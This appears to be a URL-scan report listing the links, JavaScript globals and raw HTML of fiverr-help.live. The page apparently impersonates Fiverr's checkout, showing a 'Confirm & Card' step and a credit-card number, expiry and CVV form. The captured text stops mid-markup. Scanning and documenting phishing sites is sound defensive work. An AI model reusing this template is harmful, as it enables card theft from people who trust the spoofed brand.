https://fiverr-help.live/cards/265241624

扫描 ID：: f8a07207-0a37-4ab2-b30a-9b8fc02337d5已完成
提交的 URL：: https://fiverr-help.live/cards/265241624
报告完成时间：: 2024年11月18日 19:08:57
链接 · 找到 1 个

从页面中识别出的传出链接
链接	文本
https://www.fiverr.com/?source=top_nav
JavaScript 变量 · 找到 14 个

在页面窗口对象上加载的全局 JavaScript 变量是在函数外部声明的变量，可以从当前范围内的代码中的任何位置访问
名称	类型
0	object
onbeforetoggle	object
documentPictureInPicture	object
onscrollend	object
Vue	function
VueTheMask	object
setImmediate	function
clearImmediate	function
swal	function
sweetAlert	function
控制台日志消息 · 找到 0 条

记录到 Web 控制台的消息
HTML

页面的原始 HTML 正文
<!DOCTYPE html><html lang="en"><head><style type="text/css">.swal-icon--error{border-color:#f27474;-webkit-animation:animateErrorIcon .5s;animation:animateErrorIcon .5s}.swal-icon--error__x-mark{position:relative;display:block;-webkit-animation:animateXMark .5s;animation:animateXMark .5s}.swal-icon--error__line{position:absolute;height:5px;width:47px;background-color:#f27474;display:block;top:37px;border-radius:2px}.swal-icon--error__line--left{-webkit-transform:rotate(45deg);transform:rotate(45deg);left:17px}.swal-icon--error__line--right{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);right:16px}@-webkit-keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@-webkit-keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}@keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}.swal-icon--warning{border-color:#f8bb86;-webkit-animation:pulseWarning .75s infinite alternate;animation:pulseWarning .75s infinite alternate}.swal-icon--warning__body{width:5px;height:47px;top:10px;border-radius:2px;margin-left:-2px}.swal-icon--warning__body,.swal-icon--warning__dot{position:absolute;left:50%;background-color:#f8bb86}.swal-icon--warning__dot{width:7px;height:7px;border-radius:50%;margin-left:-4px;bottom:-11px}@-webkit-keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}@keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}.swal-icon--success{border-color:#a5dc86}.swal-icon--success:after,.swal-icon--success:before{content:"";border-radius:50%;position:absolute;width:60px;height:120px;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.swal-icon--success:before{border-radius:120px 0 0 120px;top:-7px;left:-33px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:60px 60px;transform-origin:60px 60px}.swal-icon--success:after{border-radius:0 120px 120px 0;top:-11px;left:30px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:0 60px;transform-origin:0 60px;-webkit-animation:rotatePlaceholder 4.25s ease-in;animation:rotatePlaceholder 4.25s ease-in}.swal-icon--success__ring{width:80px;height:80px;border:4px solid hsla(98,55%,69%,.2);border-radius:50%;box-sizing:content-box;position:absolute;left:-4px;top:-4px;z-index:2}.swal-icon--success__hide-corners{width:5px;height:90px;background-color:#fff;padding:1px;position:absolute;left:28px;top:8px;z-index:1;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.swal-icon--success__line{height:5px;background-color:#a5dc86;display:block;border-radius:2px;position:absolute;z-index:2}.swal-icon--success__line--tip{width:25px;left:14px;top:46px;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-animation:animateSuccessTip .75s;animation:animateSuccessTip .75s}.swal-icon--success__line--long{width:47px;right:8px;top:38px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-animation:animateSuccessLong .75s;animation:animateSuccessLong .75s}@-webkit-keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@-webkit-keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@-webkit-keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}@keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}.swal-icon--info{border-color:#c9dae1}.swal-icon--info:before{width:5px;height:29px;bottom:17px;border-radius:2px;margin-left:-2px}.swal-icon--info:after,.swal-icon--info:before{content:"";position:absolute;left:50%;background-color:#c9dae1}.swal-icon--info:after{width:7px;height:7px;border-radius:50%;margin-left:-3px;top:19px}.swal-icon{width:80px;height:80px;border-width:4px;border-style:solid;border-radius:50%;padding:0;position:relative;box-sizing:content-box;margin:20px auto}.swal-icon:first-child{margin-top:32px}.swal-icon--custom{width:auto;height:auto;max-width:100%;border:none;border-radius:0}.swal-icon img{max-width:100%;max-height:100%}.swal-title{color:rgba(0,0,0,.65);font-weight:600;text-transform:none;position:relative;display:block;padding:13px 16px;font-size:27px;line-height:normal;text-align:center;margin-bottom:0}.swal-title:first-child{margin-top:26px}.swal-title:not(:first-child){padding-bottom:0}.swal-title:not(:last-child){margin-bottom:13px}.swal-text{font-size:16px;position:relative;float:none;line-height:normal;vertical-align:top;text-align:left;display:inline-block;margin:0;padding:0 10px;font-weight:400;color:rgba(0,0,0,.64);max-width:calc(100% - 20px);overflow-wrap:break-word;box-sizing:border-box}.swal-text:first-child{margin-top:45px}.swal-text:last-child{margin-bottom:45px}.swal-footer{text-align:right;padding-top:13px;margin-top:13px;padding:13px 16px;border-radius:inherit;border-top-left-radius:0;border-top-right-radius:0}.swal-button-container{margin:5px;display:inline-block;position:relative}.swal-button{background-color:#7cd1f9;color:#fff;border:none;box-shadow:none;border-radius:5px;font-weight:600;font-size:14px;padding:10px 24px;margin:0;cursor:pointer}.swal-button:not([disabled]):hover{background-color:#78cbf2}.swal-button:active{background-color:#70bce0}.swal-button:focus{outline:none;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(43,114,165,.29)}.swal-button[disabled]{opacity:.5;cursor:default}.swal-button::-moz-focus-inner{border:0}.swal-button--cancel{color:#555;background-color:#efefef}.swal-button--cancel:not([disabled]):hover{background-color:#e8e8e8}.swal-button--cancel:active{background-color:#d7d7d7}.swal-button--cancel:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(116,136,150,.29)}.swal-button--danger{background-color:#e64942}.swal-button--danger:not([disabled]):hover{background-color:#df4740}.swal-button--danger:active{background-color:#cf423b}.swal-button--danger:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(165,43,43,.29)}.swal-content{padding:0 20px;margin-top:20px;font-size:medium}.swal-content:last-child{margin-bottom:20px}.swal-content__input,.swal-content__textarea{-webkit-appearance:none;background-color:#fff;border:none;font-size:14px;display:block;box-sizing:border-box;width:100%;border:1px solid rgba(0,0,0,.14);padding:10px 13px;border-radius:2px;transition:border-color .2s}.swal-content__input:focus,.swal-content__textarea:focus{outline:none;border-color:#6db8ff}.swal-content__textarea{resize:vertical}.swal-button--loading{color:transparent}.swal-button--loading~.swal-button__loader{opacity:1}.swal-button__loader{position:absolute;height:auto;width:43px;z-index:2;left:50%;top:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);text-align:center;pointer-events:none;opacity:0}.swal-button__loader div{display:inline-block;float:none;vertical-align:baseline;width:9px;height:9px;padding:0;border:none;margin:2px;opacity:.4;border-radius:7px;background-color:hsla(0,0%,100%,.9);transition:background .2s;-webkit-animation:swal-loading-anim 1s infinite;animation:swal-loading-anim 1s infinite}.swal-button__loader div:nth-child(3n+2){-webkit-animation-delay:.15s;animation-delay:.15s}.swal-button__loader div:nth-child(3n+3){-webkit-animation-delay:.3s;animation-delay:.3s}@-webkit-keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}@keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}.swal-overlay{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;font-size:0;overflow-y:auto;background-color:rgba(0,0,0,.4);z-index:10000;pointer-events:none;opacity:0;transition:opacity .3s}.swal-overlay:before{content:" ";display:inline-block;vertical-align:middle;height:100%}.swal-overlay--show-modal{opacity:1;pointer-events:auto}.swal-overlay--show-modal .swal-modal{opacity:1;pointer-events:auto;box-sizing:border-box;-webkit-animation:showSweetAlert .3s;animation:showSweetAlert .3s;will-change:transform}.swal-modal{width:478px;opacity:0;pointer-events:none;background-color:#fff;text-align:center;border-radius:5px;position:static;margin:20px auto;display:inline-block;vertical-align:middle;-webkit-transform:scale(1);transform:scale(1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;z-index:10001;transition:opacity .2s,-webkit-transform .3s;transition:transform .3s,opacity .2s;transition:transform .3s,opacity .2s,-webkit-transform .3s}@media (max-width:500px){.swal-modal{width:calc(100% - 20px)}}@-webkit-keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}@keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}</style>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="stylesheet" href="/css/style2.css">
  <link rel="stylesheet" href="/css/support_parent.css">
  <title>
    I will create a insane song for you on the piano 3 instruments max
  </title>
  <link rel="stylesheet" type="text/css" href="https://npm-assets.fiverrcdn.com/assets/@fiverr-private/vendors-styling/production.93bb936f50db94850d55.css">
  <link rel="stylesheet" type="text/css" href="https://npm-assets.fiverrcdn.com/assets/layout-service/GlobalStyles.03fdc4ef0305cc406c7d.css">
  <link rel="stylesheet" type="text/css" href="https://npm-assets.fiverrcdn.com/assets/layout-service/RealtimeMessages.bec04e6d8c0664249eef.css">
  <link data-chunk="payments/client" rel="stylesheet" href="https://npm-assets.fiverrcdn.com/assets/@fiverr/payments_perseus/payments/client.1219334ea0608a821b00.css">
  <link rel="stylesheet" href="https://use.fontawesome.com/7f85a56ba4.css">
  <link rel="icon" type="image/png" sizes="16x16" href="https://fiverr-res.cloudinary.com/npm-assets/layout-service/favicon-16x16.74a458e.png">
</head>

<body>
  
  <header class="header-package fiverr-header lean">
   
    <div class="header-row-wrapper">
        <div class="header-row max-width-container equal-padding row-main">
            <button class="btn-navicon js-side-nav-trigger">
                <svg xmlns="http://www.w3.org/2000/svg" width="23" height="19" viewBox="0 0 23 19">
                    <rect y="16" width="23" height="3" rx="1.5" fill="#555"></rect>
                    <rect width="23" height="3" rx="1.5" fill="#555"></rect>
                    <rect y="8" width="23" height="3" rx="1.5" fill="#555"></rect>
                </svg>
            </button>
            <a href="https://www.fiverr.com/?source=top_nav" class="site-logo">
                <svg width="89" height="27" viewBox="0 0 89 27" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <g fill="#404145">
                        <path d="m81.6 13.1h-3.1c-2 0-3.1 1.5-3.1 4.1v9.3h-6v-13.4h-2.5c-2 0-3.1 1.5-3.1 4.1v9.3h-6v-18.4h6v2.8c1-2.2 2.3-2.8 4.3-2.8h7.3v2.8c1-2.2 2.3-2.8 4.3-2.8h2zm-25.2 5.6h-12.4c.3 2.1 1.6 3.2 3.7 3.2 1.6 0 2.7-.7 3.1-1.8l5.3 1.5c-1.3 3.2-4.5 5.1-8.4 5.1-6.5 0-9.5-5.1-9.5-9.5 0-4.3 2.6-9.4 9.1-9.4 6.9 0 9.2 5.2 9.2 9.1 0 .9 0 1.4-.1 1.8zm-5.7-3.5c-.1-1.6-1.3-3-3.3-3-1.9 0-3 .8-3.4 3zm-22.9 11.3h5.2l6.6-18.3h-6l-3.2 10.7-3.2-10.8h-6zm-24.4 0h5.9v-13.4h5.7v13.4h5.9v-18.4h-11.6v-1.1c0-1.2.9-2 2.2-2h3.5v-5h-4.4c-4.3 0-7.2 2.7-7.2 6.6v1.5h-3.4v5h3.4z"></path>
                    </g>
                    <g fill="#1dbf73"><path d="m85.3 27c2 0 3.7-1.7 3.7-3.7s-1.7-3.7-3.7-3.7-3.7 1.7-3.7 3.7 1.7 3.7 3.7 3.7z"></path></g>
                </svg>
            </a>
            <nav class="Zv9aftN vl2GTBE header-breadcrumbs">
                <ul>
                    <li>
                        <span class="yeJdPL1 CJ0AV86 crumb-icon WP6IFrY">
                            <span class="nFghBOe" style="width: 14px; height: 14px; fill: #fff;" aria-hidden="true">
                                <svg width="16" height="16" viewBox="0 0 16 16" xmlns="http://www.w3.org/2000/svg">
                                    <path d="M13.6202 2.6083L5.4001 10.8284L2.37973 7.80805C2.23329 7.66161 1.99585 7.66161 1.84939 7.80805L0.96551 8.69193C0.819073 8.83836 0.819073 9.0758 0.96551 9.22227L5.13492 13.3917C5.28135 13.5381 5.51879 13.5381 5.66526 13.3917L15.0344 4.02252C15.1809 3.87608 15.1809 3.63865 15.0344 3.49218L14.1505 2.6083C14.0041 2.46186 13.7667 2.46186 13.6202 2.6083Z"></path>
                                </svg>
                            </span>
                        </span>
                        <span class="ii3cK9G _ai4bD3 crumb-previous"><a>Order Details</a></span>
                        <span class="nFghBOe hHj5hL_ H1E92Nx" style="width: 12px; height: 12px;" aria-hidden="true">
                            <svg width="8" height="16" viewBox="0 0 8 16" xmlns="http://www.w3.org/2000/svg">
                                <path d="M0.772126 1.19065L0.153407 1.80934C0.00696973 1.95578 0.00696973 2.19322 0.153407 2.33969L5.80025 8L0.153407 13.6603C0.00696973 13.8067 0.00696973 14.0442 0.153407 14.1907L0.772126 14.8094C0.918563 14.9558 1.156 14.9558 1.30247 14.8094L7.84666 8.26519C7.99309 8.11875 7.99309 7.88131 7.84666 7.73484L1.30247 1.19065C1.156 1.04419 0.918563 1.04419 0.772126 1.19065Z"></path>
                            </svg>
                        </span>
                    </li>
                    <li>
                        <span class="yeJdPL1 CJ0AV86 crumb-icon WP6IFrY">2</span><span class="ii3cK9G ovYOj3J crumb-current"><span>Confirm &amp; Card</span></span>
                        <span class="nFghBOe hHj5hL_ H1E92Nx" style="width: 12px; height: 12px;" aria-hidden="true">
                            <svg width="8" height="16" viewBox="0 0 8 16" xmlns="http://www.w3.org/2000/svg">
                                <path d="M0.772126 1.19065L0.153407 1.80934C0.00696973 1.95578 0.00696973 2.19322 0.153407 2.33969L5.80025 8L0.153407 13.6603C0.00696973 13.8067 0.00696973 14.0442 0.153407 14.1907L0.772126 14.8094C0.918563 14.9558 1.156 14.9558 1.30247 14.8094L7.84666 8.26519C7.99309 8.11875 7.99309 7.88131 7.84666 7.73484L1.30247 1.19065C1.156 1.04419 0.918563 1.04419 0.772126 1.19065Z"></path>
                            </svg>
                        </span>
                    </li>
                    <li>
                        <span class="yeJdPL1 CJ0AV86 crumb-icon">3</span><span class="ii3cK9G"><span>Money sending</span></span>
                    </li>
                </ul>
            </nav>
        </div>
    </div>
</header>

<style>/* Стиль для контейнера, в котором содержится основной контент и боковая панель */
  .container {
      display: flex;
      justify-content: space-between;
      padding: 20px;
  }
  
  /* Стиль для основного контента */
  .content {
      flex: 1; /* основной контент занимает всё доступное пространство */
  }
  
  /* Стиль для боковой панели */
  .sidebar {
      width: 300px; /* Ширина боковой панели */
      background-color: #f4f4f4; /* Цвет фона боковой панели (по желанию) */
      padding: 20px; /* Отступы внутри боковой панели */
      box-shadow: 0 0 10px rgba(0,0,0,0.1); /* Тень для боковой панели (по желанию) */
  }
  
  /* Пример стилизации заголовка */
  .subscription-title {
      font-size: 1.2em;
      margin-bottom: 10px;
  }
  
  /* Пример стилизации изображения */
  .order-image {
      max-width: 100%;
      height: auto;
  }
  
  /* Пример стилизации блока с деталями заказа */
  .order-details-header {
      display: flex;
      align-items: center;
  }
  
  .image-container {
      margin-right: 15px;
  }
  
  /* Пример стилизации для остальной части боковой панели */
  .order-details-items-container {
      list-style: none;
      padding: 0;
  }
  
  .order-details-item {
      margin-bottom: 10px;
  }
  </style>
  <div id="app" class="wrapper"><form class="card-form"><div class="card-list"><div class="card-item"><div class="card-item__side -front"><div class="card-item__focus"></div> <div class="card-item__cover"><img src="https://raw.githubusercontent.com/muhammederdem/credit-card-form/master/src/assets/images/8.jpeg" class="card-item__bg"></div> <div class="card-item__wrapper"><div class="card-item__top"><img src="https://proxys.io/files/blog/fiverr_logo.png" class="card-item__chip"></div> <label for="cardNumber" class="card-item__number"><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem -active">
                         
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem -active">
                         
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem -active">
                         
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span><span><div class="card-item__numberItem">
                        #
                      </div></span></label> <div class="card-item__content"><!----> <div class="card-item__date"><label for="cardMonth" class="card-item__dateTitle">
                    Expires
                  </label> <label for="cardMonth" class="card-item__dateItem"><span>MM</span></label>
                  /
                  <label for="cardYear" class="card-item__dateItem"><span>YY</span></label></div></div></div></div> <div class="card-item__side -back"><div class="card-item__cover"><img src="https://raw.githubusercontent.com/muhammederdem/credit-card-form/master/src/assets/images/8.jpeg" class="card-item__bg"></div> <div class="card-item__band"></div> <div class="card-item__cvv"><div class="card-item__cvvTitle">CVV</div> <div class="card-item__cvvBand"></div> <div class="card-item__type"><!----></div></div></div></div></div> <div class="card-form__inner"><div class="card-input"><span class="cc-title">Credit &amp; Debit Cards</span> <svg width="152" height="20" viewBox="0 0 152 20" fill="none" xmlns="http://www.w3.org/2000/svg"><rect width="24" height="20" rx="2" fill="#1434CB"></rect> <g clip-path="url(#clip0_5729_184079)"><path d="M9.41944 6.29871L6.61125 12.9987H4.77912L3.3972 7.65181C3.3133 7.32247 3.24035 7.20182 2.98519 7.06307C2.56861 6.83707 1.88066 6.62503 1.27539 6.49343L1.3165 6.29871H4.26568C4.6416 6.29871 4.97954 6.54895 5.06489 6.98185L5.79472 10.8588L7.5987 6.29871H9.41944ZM16.5982 10.8112C16.6055 9.04289 14.1529 8.94547 14.1698 8.15553C14.1751 7.91512 14.404 7.65951 14.905 7.59427C15.1533 7.56176 15.8376 7.53696 16.6137 7.89412L16.9181 6.47332C16.5011 6.32195 15.9645 6.17627 15.2969 6.17627C13.5837 6.17627 12.3781 7.08697 12.3679 8.39103C12.3569 9.35558 13.2285 9.89382 13.8852 10.2143C14.5607 10.5426 14.7874 10.7535 14.7848 11.0471C14.78 11.4965 14.246 11.6949 13.747 11.7027C12.8758 11.7161 12.3703 11.467 11.9673 11.2797L11.6532 12.7475C12.0582 12.9333 12.8056 13.0954 13.5806 13.1035C15.4015 13.1035 16.5926 12.2041 16.5982 10.8112ZM21.122 12.9988H22.725L21.3256 6.29871H19.8461C19.5134 6.29871 19.2327 6.49242 19.1085 6.79026L16.5077 12.9987H18.3276L18.689 11.9979H20.9127L21.122 12.9987V12.9988ZM19.1881 10.6248L20.1003 8.10917L20.6254 10.6248H19.1882H19.1881ZM11.8958 6.29871L10.4626 12.9987H8.72949L10.1632 6.29871H11.8958Z" fill="white"></path></g> <rect x="32" width="24" height="20" rx="2" fill="#000066"></rect> <path fill-rule="evenodd" clip-rule="evenodd" d="M45.7702 10.3861C45.7702 13.3603 43.3593 15.7711 40.3852 15.7711C37.411 15.7711 35 13.3603 35 10.3861C35 7.41199 37.411 5.00098 40.3852 5.00098C43.3593 5.00098 45.7702 7.41199 45.7702 10.3861Z" fill="#CC0000"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M47.6158 5.00098C46.224 5.00098 44.9563 5.52886 44.0005 6.39485C43.806 6.57135 43.6245 6.76198 43.4569 6.96495H44.545C44.6936 7.14587 44.8305 7.33608 44.9555 7.5353H43.0463C42.9321 7.71835 42.8283 7.90855 42.7361 8.10565H45.2656C45.3521 8.29023 45.4282 8.48035 45.4937 8.67574H42.508C42.4459 8.86144 42.3934 9.05172 42.3516 9.24575H45.6499C45.7289 9.61339 45.7709 9.99482 45.7709 10.3861C45.7709 10.984 45.6735 11.5594 45.4937 12.0968H42.508C42.5735 12.292 42.6496 12.4824 42.7359 12.6673H45.2656C45.1732 12.8638 45.0699 13.0542 44.955 13.2375H43.0463C43.1708 13.4362 43.308 13.6266 43.4569 13.8073H44.5446C44.3774 14.0104 44.1957 14.201 44.0007 14.3775C44.9564 15.2435 46.224 15.7711 47.6158 15.7711C50.5898 15.7711 53.0007 13.3603 53.0007 10.3861C53.0007 7.41224 50.5898 5.00098 47.6158 5.00098Z" fill="#FF9900"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M39.1275 10.9755C39.0662 10.9686 39.0391 10.9663 38.997 10.9663C38.6656 10.9663 38.498 11.08 38.498 11.3046C38.498 11.4429 38.5798 11.5308 38.7075 11.5308C38.9457 11.5308 39.1173 11.3041 39.1275 10.9755ZM39.5528 11.9654H39.0682L39.0794 11.7352C38.9316 11.9169 38.7344 12.0037 38.4666 12.0037C38.1499 12.0037 37.9326 11.7564 37.9326 11.397C37.9326 10.8561 38.3104 10.5406 38.9589 10.5406C39.0254 10.5406 39.1103 10.5467 39.1973 10.5577C39.2154 10.4843 39.2201 10.4532 39.2201 10.4136C39.2201 10.2666 39.1183 10.2114 38.8452 10.2114C38.5592 10.2085 38.3233 10.2797 38.2264 10.3116C38.2325 10.2746 38.3075 9.81195 38.3075 9.81195C38.5987 9.72633 38.7909 9.69434 39.0071 9.69434C39.5092 9.69434 39.7751 9.91968 39.7746 10.3457C39.7756 10.46 39.7566 10.6005 39.7272 10.7858C39.6765 11.1075 39.5676 11.7974 39.5528 11.9654Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M37.6881 11.9664H37.1034L37.4385 9.86674L36.6906 11.9664H36.2922L36.2429 9.87849L35.891 11.9664H35.3438L35.8008 9.23486H36.6415L36.6924 10.7638L37.2053 9.23486H38.1403L37.6881 11.9664Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M48.3371 10.9755C48.2758 10.9686 48.2491 10.9663 48.207 10.9663C47.8754 10.9663 47.708 11.08 47.708 11.3046C47.708 11.4429 47.7894 11.5308 47.9174 11.5308C48.1555 11.5308 48.3272 11.3041 48.3371 10.9755ZM48.7627 11.9654H48.2783L48.2892 11.7352C48.1415 11.9169 47.9444 12.0037 47.6768 12.0037C47.3596 12.0037 47.1426 11.7564 47.1426 11.397C47.1426 10.8561 47.5205 10.5406 48.1689 10.5406C48.2353 10.5406 48.32 10.5467 48.4071 10.5577C48.4252 10.4843 48.4299 10.4532 48.4299 10.4136C48.4299 10.2666 48.3281 10.2114 48.055 10.2114C47.769 10.2085 47.5332 10.2797 47.4359 10.3116C47.4424 10.2746 47.5175 9.81195 47.5175 9.81195C47.8086 9.72633 48.0009 9.69434 48.2168 9.69434C48.7193 9.69434 48.9849 9.91968 48.9843 10.3457C48.9854 10.46 48.9666 10.6005 48.937 10.7858C48.8865 11.1075 48.7773 11.7974 48.7627 11.9654Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M42.1518 11.9321C41.9917 11.9824 41.867 12.0042 41.7317 12.0042C41.4329 12.0042 41.2698 11.8325 41.2698 11.5162C41.2656 11.418 41.3128 11.1597 41.3499 10.9241C41.3837 10.7166 41.6035 9.4082 41.6035 9.4082H42.1845L42.1166 9.74444H42.4677L42.3884 10.2784H42.0362C41.9687 10.7007 41.8725 11.227 41.8714 11.2968C41.8714 11.4113 41.9325 11.4614 42.0716 11.4614C42.1382 11.4614 42.1898 11.4546 42.2292 11.4404L42.1518 11.9321Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M43.9326 11.9136C43.733 11.9746 43.5406 12.0044 43.3364 12.0037C42.6858 12.0029 42.3467 11.6633 42.3467 11.0127C42.3467 10.2535 42.7781 9.69434 43.3638 9.69434C43.8428 9.69434 44.149 10.0073 44.149 10.498C44.149 10.6612 44.128 10.8201 44.0772 11.0445H42.92C42.8809 11.3668 43.0871 11.501 43.4253 11.501C43.6331 11.501 43.8208 11.4581 44.0294 11.3613L43.9326 11.9136ZM43.606 10.5968C43.6093 10.5504 43.6675 10.2002 43.3354 10.2002C43.1505 10.2002 43.018 10.3413 42.9643 10.5968H43.606Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M39.903 10.4463C39.903 10.727 40.0392 10.9208 40.3481 11.0664C40.5847 11.1778 40.6216 11.2108 40.6216 11.3116C40.6216 11.4499 40.5171 11.5127 40.2859 11.5127C40.1113 11.5127 39.9491 11.4853 39.762 11.4248C39.762 11.4248 39.6853 11.9146 39.6816 11.938C39.8145 11.9668 39.9329 11.9936 40.29 12.0037C40.9068 12.0037 41.1918 11.7689 41.1918 11.2612C41.1918 10.9561 41.0726 10.7769 40.7797 10.6421C40.5347 10.5297 40.5064 10.5045 40.5064 10.4008C40.5064 10.2808 40.6036 10.2194 40.7925 10.2194C40.9073 10.2194 41.0639 10.2317 41.2126 10.2527L41.2958 9.73748C41.1445 9.7134 40.9148 9.69434 40.7812 9.69434C40.1273 9.69434 39.9009 10.0358 39.903 10.4463Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M46.7763 9.75322C46.9387 9.75322 47.0904 9.79543 47.2988 9.9007L47.3945 9.30788C47.3086 9.27418 47.0072 9.07666 46.7519 9.07666C46.3608 9.07666 46.0297 9.27103 45.7973 9.5911C45.4579 9.47876 45.3183 9.70582 45.1474 9.93219L44.9955 9.96759C45.007 9.89312 45.0175 9.81917 45.0141 9.7442H44.477C44.4038 10.4319 44.2738 11.1282 44.1721 11.8162L44.1455 11.9656H44.7304C44.828 11.3313 44.8814 10.9252 44.9139 10.6502L45.1341 10.5282C45.1672 10.4055 45.27 10.3643 45.4766 10.3694C45.4496 10.5142 45.435 10.6668 45.435 10.8246C45.435 11.5515 45.8276 12.004 46.4567 12.004C46.6188 12.004 46.758 11.9827 46.9736 11.924L47.0761 11.3016C46.8822 11.3968 46.7235 11.4416 46.5796 11.4416C46.2397 11.4416 46.034 11.1907 46.034 10.7761C46.034 10.1746 46.3397 9.75322 46.7763 9.75322Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M51.7251 9.23486L51.5952 10.024C51.4356 9.81372 51.2639 9.66139 51.0372 9.66139C50.7422 9.66139 50.4737 9.88504 50.2979 10.2144C50.0531 10.1636 49.8 10.0772 49.8 10.0772L49.7999 10.0793C49.8194 9.89525 49.8276 9.78326 49.8257 9.74496H49.2886C49.2157 10.4327 49.0855 11.129 48.9839 11.8169L48.957 11.9664H49.5421C49.6211 11.4537 49.6814 11.0275 49.7259 10.69C49.9259 10.5093 50.026 10.3521 50.2276 10.3623C50.1382 10.5786 50.086 10.8276 50.086 11.0831C50.086 11.6382 50.3667 12.0047 50.7918 12.0047C51.0061 12.0047 51.1705 11.9308 51.3309 11.7596L51.3033 11.9662H51.8564L52.3018 9.23486H51.7251ZM50.994 11.4532C50.7951 11.4532 50.6943 11.3056 50.6943 11.0153C50.6943 10.5786 50.8826 10.2691 51.1477 10.2691C51.3486 10.2691 51.4576 10.4219 51.4576 10.7041C51.4576 11.1445 51.2661 11.4532 50.994 11.4532Z" fill="#000066"></path> <path fill-rule="evenodd" clip-rule="evenodd" d="M37.857 11.803H37.2724L37.6075 9.7034L36.8597 